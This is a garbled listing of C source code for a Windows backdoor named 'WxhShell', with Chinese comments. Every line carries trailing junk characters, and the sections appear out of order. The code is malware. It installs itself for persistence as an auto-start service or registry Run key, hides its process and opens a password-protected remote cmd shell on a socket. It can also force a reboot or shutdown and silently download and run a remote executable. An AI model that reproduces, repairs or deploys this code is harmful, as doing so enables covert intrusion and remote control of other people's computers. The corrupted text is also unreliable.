    if(Boot(SHUTDOWN)) cg^=F_h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+H[S#e:Z  
    else { z,(.` %h  
    closesocket(wsh); n"f: 6|<  
    ExitThread(0); j>#ywh*A  
    } 9S8V`aC  
    break; eDsc_5I  
    } 0+Q; a  
  // 获取shell URj2 evYW  
  case 's': { abg` : E  
    CmdShell(wsh); *@g>~q{`  
    closesocket(wsh); cN~F32<  
    ExitThread(0); FLLfTkXdI  
    break; 15M!erT  
  } b ; U  
  // 退出 |};-.}u^`h  
  case 'x': { a'?V:3 ]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U|+ c&TY  
    CloseIt(wsh); 64t:  
    break; #^xj"}o@  
    } 8j}o\!H  
  // 离开 ISg-?h/  
  case 'q': { 'L C0hoV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?%Gzd(YEY  
    closesocket(wsh); uIR/^o  
    WSACleanup(); \  `|  
    exit(1); 6`Diz_(  
    break; d?)Ic1][  
        } ;!)gjiapw  
  } G|qsJ  
  } BB.120v&N  
drS>~lSxB  
  // 提示信息 \Yr&vX/[p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _eUd RL>  
} |J:m{  
  } r)oR `\7  
K k|mV&3J  
  return; A5RM&y  
} o>A']+`E u  
t4+bRmS`_  
// shell模块句柄 nf,Ez  
int CmdShell(SOCKET sock) ;Hn>Ew  
{ [midNC+,  
STARTUPINFO si; v;d3uunqv  
ZeroMemory(&si,sizeof(si)); d^I:{Ii'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c=33O,_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a|Wrc)UR  
PROCESS_INFORMATION ProcessInfo; ^tI4FQ>Y  
char cmdline[]="cmd"; x]vyt}oCmk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q$A;Fk}-  
  return 0; .7> g8  
} k\A4sj  
jfpbD /  
// 自身启动模式 =1zRm >m  
int StartFromService(void) |l:,EA_v|  
{ fHXz{,?/w  
typedef struct p%IVWeZnx  
{ 9b)'vr*Hy7  
  DWORD ExitStatus; fk\hrVP  
  DWORD PebBaseAddress;  jRhRw;  
  DWORD AffinityMask; "89L^I  
  DWORD BasePriority; ESnir6HoU  
  ULONG UniqueProcessId; Vn?|\3KY  
  ULONG InheritedFromUniqueProcessId; 69N8COLB  
}   PROCESS_BASIC_INFORMATION; >Y;[+#H[  
~z7Fz"o<  
PROCNTQSIP NtQueryInformationProcess; B !Z~jT  
Pa"[&{:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -gpHg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M\r=i>(cu  
i:7cdhz  
  HANDLE             hProcess; `h<>_zpjY  
  PROCESS_BASIC_INFORMATION pbi; 3]67U}`  
m.c2y6<=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X)S4vqf}  
  if(NULL == hInst ) return 0; Kc+TcC  
:a_MT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yD Avl+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6NGQU%Hd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C@ "l"  
)Tw A?kj  
  if (!NtQueryInformationProcess) return 0; _g6H&no[  
k]S`A,~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .5iXOS0 G  
  if(!hProcess) return 0; yH]w(z5Z  
8r48+_y3u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0r]-Ltvl?}  
0[ZwtfL1  
  CloseHandle(hProcess); U\dLq&=V  
Z._%T$8aJv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `/9&o;qM   
if(hProcess==NULL) return 0; 4v.i!U# {  
I|_U|H!`  
HMODULE hMod; h&z(;B!;y.  
char procName[255]; ;Ngu(es6  
unsigned long cbNeeded; L<p.2[3  
>z k6{kC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A#nSK#wS61  
NUX$)c  
  CloseHandle(hProcess); nBzju?X)I  
0">9n9  
if(strstr(procName,"services")) return 1; // 以服务启动 s(y=u>  
P>_ r6C  
  return 0; // 注册表启动 ogG:Ai)90  
} 4\m#:fj %  
bP7_QYQ6  
// 主模块 3<}r+,j  
int StartWxhshell(LPSTR lpCmdLine) )V9wU1.  
{ nS]Ih0( K  
  SOCKET wsl; T)MZ`dM  
BOOL val=TRUE; E|x t\ *  
  int port=0; )No>Q :t  
  struct sockaddr_in door; 7|X.E  
4']eJ==OH  
  if(wscfg.ws_autoins) Install(); 7&1 dr  
z W*Z  
port=atoi(lpCmdLine); ,b74 m  
YeB)]$'?u`  
if(port<=0) port=wscfg.ws_port; /,JL \b  
8!qzG4F/  
  WSADATA data; !uAqY\Is  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nI,-ftMD-|  
XF`?5G~~#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >!% +)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~!"z`&  
  door.sin_family = AF_INET; %h& F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #%.fsJNA$  
  door.sin_port = htons(port); q!<n\X3]u  
jKp79].  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :nxBM#:xu  
closesocket(wsl); fPab%>/T{  
return 1; yX CJ?  
} hh<ryuZ  
"2hs=^&8  
  if(listen(wsl,2) == INVALID_SOCKET) { 0134mw%jk  
closesocket(wsl); BZk0B ?  
return 1; 8W x7%@^O  
} !%>(O@~"|  
  Wxhshell(wsl); #F ;@Qi3z  
  WSACleanup(); j:[ #eC  
AV;x'H7G  
return 0; NH!x6p]n  
InB'Ag"  
} =S|dzgS/  
l *+9R  
// 以NT服务方式启动 Jv59zI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3EA`]&d>  
{ h8:5[;e  
DWORD   status = 0; EO G&Xa  
  DWORD   specificError = 0xfffffff; T49^  
5`{u! QE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C |P(,Xp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \'>d.'d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7-4S'rq+  
  serviceStatus.dwWin32ExitCode     = 0; *iXaQuT  
  serviceStatus.dwServiceSpecificExitCode = 0; /`b`ai8`8  
  serviceStatus.dwCheckPoint       = 0; AO]1`b:  
  serviceStatus.dwWaitHint       = 0; 7X/KQ97  
ZW`wA2R0   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m&k l_f7  
  if (hServiceStatusHandle==0) return; b}Wm-]|+  
husk\  
status = GetLastError(); q82yh&  
  if (status!=NO_ERROR) AzFS6<_  
{ I Ab-O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =90)=Pxd  
    serviceStatus.dwCheckPoint       = 0; M Jtn)gXb  
    serviceStatus.dwWaitHint       = 0; l vfplA  
    serviceStatus.dwWin32ExitCode     = status; f<*-;  
    serviceStatus.dwServiceSpecificExitCode = specificError; xGt>X77  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8RU91H8fE  
    return; 52'0l>  
  } g!!:o(k  
U&u~i 3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k:*vD"  
  serviceStatus.dwCheckPoint       = 0; gi<%: [jT  
  serviceStatus.dwWaitHint       = 0; <Eh_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WU{9lL=  
} |/~ISB  
~o8x3`CoF  
// 处理NT服务事件,比如:启动、停止 3(=QY)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jDCf]NvOPM  
{ $B?IE#7S4  
switch(fdwControl) ]s}9-!{O  
{ K'S \$  
case SERVICE_CONTROL_STOP: r<EwtO+x  
  serviceStatus.dwWin32ExitCode = 0; :djbZ><  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :;N2hnHoG  
  serviceStatus.dwCheckPoint   = 0; s+6tdBvzs  
  serviceStatus.dwWaitHint     = 0; 4x?4[J~u[  
  { ->5[C0: ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f- ~]  
  } F3&:KZ!V&m  
  return; TJz} 8-#t  
case SERVICE_CONTROL_PAUSE: $(&+NJ$U$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~A,(D-  
  break; GLa_[9 "  
case SERVICE_CONTROL_CONTINUE: (n4Uc308  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xOdL ct  
  break; -\V;Gw8mD  
case SERVICE_CONTROL_INTERROGATE: Zxn>]Z_  
  break; 7nk3^$|  
}; 17yg ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ew*;mQd  
} 5~=wia  
gwN y]!  
// 标准应用程序主函数 X{;5jnpG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CzG/=#IU  
{ (]sk3 A  
R/kfbV-b  
// 获取操作系统版本 AJ)N?s-=  
OsIsNt=GetOsVer(); 'Jl3%axR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C&&33L  
/[UuHU5*R  
  // 从命令行安装 JJu}Ed_  
  if(strpbrk(lpCmdLine,"iI")) Install(); jP"yG#  
Zl{ DqC^  
  // 下载执行文件 apv"s+  
if(wscfg.ws_downexe) { E rnGX#@v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 |xQQv  
  WinExec(wscfg.ws_filenam,SW_HIDE); f(.t0{Etq  
} BaOPtBYA:  
1JF>0ijU@  
if(!OsIsNt) { %oiA'hz;*  
// 如果时win9x,隐藏进程并且设置为注册表启动 vz`r !xj)  
HideProc(); s^ K:cz  
StartWxhshell(lpCmdLine); J9XV:)Yv#  
} c}D>.x|]  
else z-;yDB:~t  
  if(StartFromService()) 1L<X+,]@  
  // 以服务方式启动 G33'Cgo:,  
  StartServiceCtrlDispatcher(DispatchTable); !E_RD,_  
else gbN@EJ  
  // 普通方式启动 % e1`wMa  
  StartWxhshell(lpCmdLine); SOQR(UT  
;N!W|G  
return 0; ki9vJ<  
} ^1`T_+#[s  
jn#Ok@tZ  
n /Dk~Q)  
`g:bvIV5x>  
=========================================== 8|-064i>  
5g4xhYl70n  
<O9.GHV1v  
w"A%@<V3Ec  
`(pe#Xxn  
Nj`Miv o  
" 8 qwOZ d  
# 3gdT  
#include <stdio.h> &1ss @-  
#include <string.h> Oy~X@A  
#include <windows.h> l8By2{pN  
#include <winsock2.h> - xQJY)  
#include <winsvc.h> &z%DX   
#include <urlmon.h> uU#e54^  
D]WU,a[$Bc  
#pragma comment (lib, "Ws2_32.lib") q=_tjg  
#pragma comment (lib, "urlmon.lib") xI^nA2g  
%y R~dt'  
#define MAX_USER   100 // 最大客户端连接数 ^li(q]g1!  
#define BUF_SOCK   200 // sock buffer ~:):.5o  
#define KEY_BUFF   255 // 输入 buffer &-4SA j  
=\)qUs\z  
#define REBOOT     0   // 重启 h"ko4b3^'@  
#define SHUTDOWN   1   // 关机 # {|F2AM  
c4xXsUBQk  
#define DEF_PORT   5000 // 监听端口 A.(xa+z?  
LJ mRa  
#define REG_LEN     16   // 注册表键长度 IC@-`S#F  
#define SVC_LEN     80   // NT服务名长度 Z*lZl8(`  
2[yfo8H  
// 从dll定义API mKhlYV n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h!~u^Z.7<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); & *!) d"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5=9gH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vm`\0VGSW  
~OOD#/  
// wxhshell配置信息 v#Y9O6g]T  
struct WSCFG { r`!S*zK  
  int ws_port;         // 监听端口 cS#m\O  
  char ws_passstr[REG_LEN]; // 口令 lr&O@ 5"oy  
  int ws_autoins;       // 安装标记, 1=yes 0=no `~{ 0  
  char ws_regname[REG_LEN]; // 注册表键名 =@ "'aCU/  
  char ws_svcname[REG_LEN]; // 服务名 * 2s(TW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0vi\o`**Mj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _3 3YgO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iV8O<en&i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r[y3@SE5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -MT.qhx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3hbUus  
lv0}d  
}; Ikj_ 0/%F  
^+q4*X6VB  
// default Wxhshell configuration Z<n%~z^  
struct WSCFG wscfg={DEF_PORT, p_Y U!j_VE  
    "xuhuanlingzhe", Nlfz'_0M  
    1, L'$;;eM4  
    "Wxhshell", (S#nA:E  
    "Wxhshell", [wR x)F"  
            "WxhShell Service", _#rE6./@q  
    "Wrsky Windows CmdShell Service", Y)OTvKrOA  
    "Please Input Your Password: ", LwS>jNJx  
  1, Y"Y+U`Qt  
  "http://www.wrsky.com/wxhshell.exe", Pg/$ N5->  
  "Wxhshell.exe" zoI0oA  
    }; 9Z;"9$+M  
M8iI e:{ c  
// 消息定义模块 coFQu ; i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; osW"b"_f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; agMI$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;,F:.<P  
char *msg_ws_ext="\n\rExit."; CXfPC[o  
char *msg_ws_end="\n\rQuit."; 3QO*1P@q  
char *msg_ws_boot="\n\rReboot...";  -p2 =?a  
char *msg_ws_poff="\n\rShutdown..."; f+j-M|A  
char *msg_ws_down="\n\rSave to "; hp)k[|u;  
3# r` e  
char *msg_ws_err="\n\rErr!"; R=u!Rcv R  
char *msg_ws_ok="\n\rOK!"; <zE~N~;  
}_"<2|~_  
char ExeFile[MAX_PATH]; l Vc':,z  
int nUser = 0; 0R[onPU_vZ  
HANDLE handles[MAX_USER]; )k'4]=d <  
int OsIsNt; |FrZ,(\  
E A}Vb(2  
SERVICE_STATUS       serviceStatus; b\H !\A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ThmN^N  
+_E 96`P  
// 函数声明 tOf18V{a  
int Install(void); R2!_)Rpf  
int Uninstall(void); NA9N#;  
int DownloadFile(char *sURL, SOCKET wsh); Ci?A4q$.  
int Boot(int flag); bP 8O&R  
void HideProc(void); q%xq\L.  
int GetOsVer(void); S6pvbaMZ  
int Wxhshell(SOCKET wsl); ^RO_B}n3  
void TalkWithClient(void *cs); %V3xO%  
int CmdShell(SOCKET sock); ww(.   
int StartFromService(void); <>  |/U`  
int StartWxhshell(LPSTR lpCmdLine); {u,yX@F4l  
Zn9ecN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {&Es3+{A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o\7q!  
o$,Dh?l  
// 数据结构和表定义 <fm0B3i?  
SERVICE_TABLE_ENTRY DispatchTable[] = ]iL>Zxex  
{ *dE5yS`H  
{wscfg.ws_svcname, NTServiceMain}, :ncR7:Z  
{NULL, NULL}  y+.E}  
}; yJ!x`RD),w  
8F*"z^vD=  
// 自我安装 GVl TW?5  
int Install(void) ui#K`.dn  
{ w~I;4p~(N  
  char svExeFile[MAX_PATH]; dN)!B!*aI  
  HKEY key; &!pG1Fp9  
  strcpy(svExeFile,ExeFile); ZyQ+}rO  
c!})%{U  
// 如果是win9x系统,修改注册表设为自启动 (fJ.o-LQ  
if(!OsIsNt) { rxVJB3P9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W n43TSs-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Z'q1kW@"  
  RegCloseKey(key); 4RYvI!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,V}Vxq3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .*>pD/  
  RegCloseKey(key); v)AadtZ0d  
  return 0; r=o\!sh[  
    } FaUc"J  
  } :0)nL  
} ;x=r.3OQy  
else { 6*92I  
ka$oUB)iQ  
// 如果是NT以上系统,安装为系统服务 "Yu';&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lp=8RbQYC  
if (schSCManager!=0) (#"iZv,  
{ ID1/N)5 6  
  SC_HANDLE schService = CreateService f/Q7WXl0  
  ( 0`L>t  
  schSCManager, lq%6~va  
  wscfg.ws_svcname, gvx {;e  
  wscfg.ws_svcdisp, GE0,d  
  SERVICE_ALL_ACCESS, etHkyF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JIobs*e0m  
  SERVICE_AUTO_START, x\m?*5p  
  SERVICE_ERROR_NORMAL, r-+S^mOE]  
  svExeFile, 9/x_p;bI  
  NULL, uI*2}Q   
  NULL, eGJ}';O,g  
  NULL, W7ffdODb  
  NULL, 7<ZCeM2x  
  NULL ;0!rq^JG  
  ); {_{&t>s2  
  if (schService!=0) cqyrao3;  
  { )(&WhZc Z  
  CloseServiceHandle(schService); yj+HU5L4  
  CloseServiceHandle(schSCManager); 9WH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )]?"H  
  strcat(svExeFile,wscfg.ws_svcname); |{8eoF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LBkAi(0rd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7Vd"AVn}g  
  RegCloseKey(key); :)9 ^T<  
  return 0; 4Nx]*\\  
    } [x.Dw U%S  
  } iA[WDB\|0  
  CloseServiceHandle(schSCManager); Ef2#}%>  
} o/U"'FP  
} \?X'U:  
^8#;>+7R  
return 1; D\ H) uV`  
} mq(*4KFWJ2  
]ZjydQjo )  
// 自我卸载 -'9sn/  
int Uninstall(void) ZrA OX'>u9  
{ %?7j Q  
  HKEY key; u9 yXHf  
XZk?aik}`  
if(!OsIsNt) { 9W[ ~c"Ku  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I>jDM  
  RegDeleteValue(key,wscfg.ws_regname); ?\l@k(w4[x  
  RegCloseKey(key); @6roW\'$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HP /@ _qk  
  RegDeleteValue(key,wscfg.ws_regname); -brn&1oJ  
  RegCloseKey(key); F9SkEf]99  
  return 0; mJ3|UClPS  
  } <CJ`A5N  
} {{\ d5CkX  
} pM^r8kIH  
else { zeZ}P>C  
r^$4]@Wn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F5#P{ zk|  
if (schSCManager!=0) 9Fkzt=(E~  
{ :&/b}b!)AX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); * @QC:1k  
  if (schService!=0) ]} + NT  
  { '{t&!M`  
  if(DeleteService(schService)!=0) { }Z~& XL=  
  CloseServiceHandle(schService); q i27:oJ  
  CloseServiceHandle(schSCManager); hu G]kv3F:  
  return 0; 1gZW~6a}  
  } *k]izWsV*  
  CloseServiceHandle(schService); e uF@SS  
  } ,/qS1W(  
  CloseServiceHandle(schSCManager); D\Nhq Vw  
} A{!D7kwTz~  
} !P6\-.  
v/Z!Wp1LV  
return 1; .\?)O+J!  
} UUlrfur~  
"[*W=6m0  
// 从指定url下载文件 z}" Xt=G?  
int DownloadFile(char *sURL, SOCKET wsh) &mM[q 'V  
{ ~S],)E1w  
  HRESULT hr; k3 65.nc  
char seps[]= "/"; \*C}[D  
char *token; $ +`   
char *file; sKkk+-J4  
char myURL[MAX_PATH]; &4%j   
char myFILE[MAX_PATH]; )i;o\UU  
#Zm%U_$<  
strcpy(myURL,sURL); \*5_gPj!d  
  token=strtok(myURL,seps); T =l4Vb{>  
  while(token!=NULL) .!\NM&E  
  { L b'HM-d  
    file=token; zdwr5k  
  token=strtok(NULL,seps); :d7tzYT ^  
  } M] +FTz  
Ier0F7]I  
GetCurrentDirectory(MAX_PATH,myFILE); DKjkO5R\  
strcat(myFILE, "\\"); \ >@'wl  
strcat(myFILE, file); FK$?8Jp  
  send(wsh,myFILE,strlen(myFILE),0); azj:Hru&t#  
send(wsh,"...",3,0); Felu`@b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Okb)K95  
  if(hr==S_OK) QzwA*\G  
return 0; BtyBZ8P;e  
else k-v@sb24_  
return 1; em87`Hj^lo  
7,sslf2%K  
} FE)L?  
(5SN=6O  
// 系统电源模块 B/(]AWi+  
int Boot(int flag) M``I5r*cg  
{ CywQ  
  HANDLE hToken; 6NO_S  
  TOKEN_PRIVILEGES tkp; W6&s_ (  
DL^}?Ve  
  if(OsIsNt) { 6o_t;cpT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TZT1nj"n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @bN`+DC!<  
    tkp.PrivilegeCount = 1; H$ !78/f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vKzq7E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .}}w@NO  
if(flag==REBOOT) { #'qEm=%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) USKa6<:{W  
  return 0; 2qb,bp1$  
} ;xnJ+$//U  
else { g|W|>`>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wX3x.@!:  
  return 0; Z;^UY\&X  
} A 'Q nL  
  } "]%.%$  
  else { 9tW=9<E  
if(flag==REBOOT) { Yy4? |wVl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F8\nAX  
  return 0; ?(cbZ#( o  
} <bPn<QI  
else { @ (UacFO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7*e7P[LQU  
  return 0; 7 I/  
} / M(A kNy  
} !H`! KBW  
L6^Qn%:OTd  
return 1; edt(Zzk@3-  
} [dje!5Dc(  
A6APU><dm^  
// win9x进程隐藏模块 tN' -4<+  
void HideProc(void) p/|": (U  
{ Z|YiYQl[)  
cO,ELu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j5*W[M9W  
  if ( hKernel != NULL ) ;:JTb2xbb  
  { v2>.+Eh#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pPUv8, %  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SBBDlr^P  
    FreeLibrary(hKernel); 87P.K Yy  
  } lNcXBtwK@#  
2=3pV!)4}  
return; VO|2  
} =?U"#a  
QU/Q5k  
// 获取操作系统版本 q M( n]{H  
int GetOsVer(void) D8otU DB{  
{ T@PtO "r  
  OSVERSIONINFO winfo; WXqrx*?*+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X\?e=rUfn  
  GetVersionEx(&winfo); -5Qsc/ s&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (UDR=7w)  
  return 1; $7{|  
  else *(PQaXx4  
  return 0; CU3[{a  
} 5*=a*nD11  
rrGsam\.  
// 客户端句柄模块 .JNU3%s  
int Wxhshell(SOCKET wsl) $V$|"KRcs  
{ Sm;EWz-?  
  SOCKET wsh; hadGF%> O6  
  struct sockaddr_in client; s6k,'`.  
  DWORD myID; 3YyB0BMW  
"(uEcS2<  
  while(nUser<MAX_USER) hjB G`S#  
{ 4}:a"1P"  
  int nSize=sizeof(client); o#X|4bES  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ri1RK,  
  if(wsh==INVALID_SOCKET) return 1; 1LTl=tS#  
F&r+"O)^-R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J1I"H<}-6  
if(handles[nUser]==0) 8iTX}$t\{  
  closesocket(wsh); d($f8{~W  
else ;<Dou7=  
  nUser++; Ol4 )*/oZ  
  } >;S/$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )NeI]p  
VmLV:"P}^  
  return 0; |A_yr/f  
} Xp <RG p7E  
wv>uT{g#  
// 关闭 socket Z~}=q  
void CloseIt(SOCKET wsh) M{S7tMX  
{ _ukKzY  
closesocket(wsh); 5b9v`6Kq  
nUser--; -(FVTWi0  
ExitThread(0); $QQv$  
} &P>wIbE  
k> I;mEV  
// 客户端请求句柄 ' bio: 1  
void TalkWithClient(void *cs) \/C-e  
{ @`<vd@  
Ea@N:t?(8=  
  SOCKET wsh=(SOCKET)cs; KDP7u  
  char pwd[SVC_LEN]; 8fzmCRFH  
  char cmd[KEY_BUFF]; >Z k$q~'+  
char chr[1]; Km2ppGLNn  
int i,j; X%7Y\|  
rf"%D<bb  
  while (nUser < MAX_USER) { @DYxxM-  
f $MVgX  
if(wscfg.ws_passstr) { eiB5 8b3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,?;q$Xoi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); riqvv1Nce  
  //ZeroMemory(pwd,KEY_BUFF); O/M\Q  
      i=0; wrq0fHwM  
  while(i<SVC_LEN) { /g3U,?qP  
Ilvz @=  
  // 设置超时 oXG,8NOdC  
  fd_set FdRead; %of#VSk  
  struct timeval TimeOut; ;+XiDEX0}  
  FD_ZERO(&FdRead); "J(#|v0  
  FD_SET(wsh,&FdRead); iivuH2/~?[  
  TimeOut.tv_sec=8; pX ]K-  
  TimeOut.tv_usec=0; }PGl8F !  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D\8~3S'd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :(EU\yCzK  
x0wy3+GZc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |V{'W-` |[  
  pwd=chr[0]; 2ul!f7#E  
  if(chr[0]==0xd || chr[0]==0xa) { 7-81,ADv(  
  pwd=0; HABMFv  
  break; -fu=RR  
  } SesJg~8  
  i++; n0#HPI"  
    } c;l d  
?#^(QR|/  
  // 如果是非法用户,关闭 socket :`6E{yfM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H XF5fs  
} WZaOw w  
uUb[Dqn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v|~ yIywf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qy6zHw  
s  bV6}  
while(1) { v/6QE;BY&Q  
\3w=')({  
  ZeroMemory(cmd,KEY_BUFF); n'ft@7>%h  
X"<t3l(+  
      // 自动支持客户端 telnet标准   d V#h~  
  j=0; g]O"l?xx1D  
  while(j<KEY_BUFF) { ;bq_Y/"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )6dvWK  
  cmd[j]=chr[0]; %76N$`{u  
  if(chr[0]==0xa || chr[0]==0xd) { n\ aG@X%oq  
  cmd[j]=0; f,z_|e  
  break; ; 1K[N0xE  
  } 'bj$ZM9  
  j++; OpmI" 4{+  
    } 8E{<t}  
FQSepUl  
  // 下载文件 )y-y-B=+T  
  if(strstr(cmd,"http://")) { v0`E lkaN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C#X|U2$  
  if(DownloadFile(cmd,wsh)) =if5$jE3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  qJ!&H  
  else D 4^2F(YRX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TGu`r>N51  
  } U.UN=uv_  
  else { ~0r:Wcj x  
D OiL3i"H  
    switch(cmd[0]) { j.X3SQb4G  
  'cJHOd  
